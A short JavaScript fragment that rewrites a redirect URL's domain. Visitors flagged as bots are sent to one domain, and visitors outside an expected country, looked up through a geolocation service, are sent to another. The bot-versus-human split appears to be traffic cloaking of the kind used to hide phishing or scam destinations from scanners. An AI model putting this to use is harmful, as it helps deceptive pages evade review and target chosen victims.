async function checkCountry(expected_country) {
    try {
        const res = await fetch('https://get.geojs.io/v1/ip/country');
        const country = (await res.text()).trim();
        return country === expected_country;
    } catch (error) {
        return true;
    }
}

async function changeDom(rUrl, country, bot_dom, country_dom) {
    if (isbot(navigator.userAgent)) {
        var rUrlObj = new URL(rUrl);
        rUrlObj.hostname = bot_dom;
        return rUrlObj.toString();
    } else {
        var countryMatch = await checkCountry(country);
        if (!countryMatch) {
            var rUrlObj = new URL(rUrl);
            rUrlObj.hostname = country_dom;
            return rUrlObj.toString();
        }
    }
    return rUrl;
}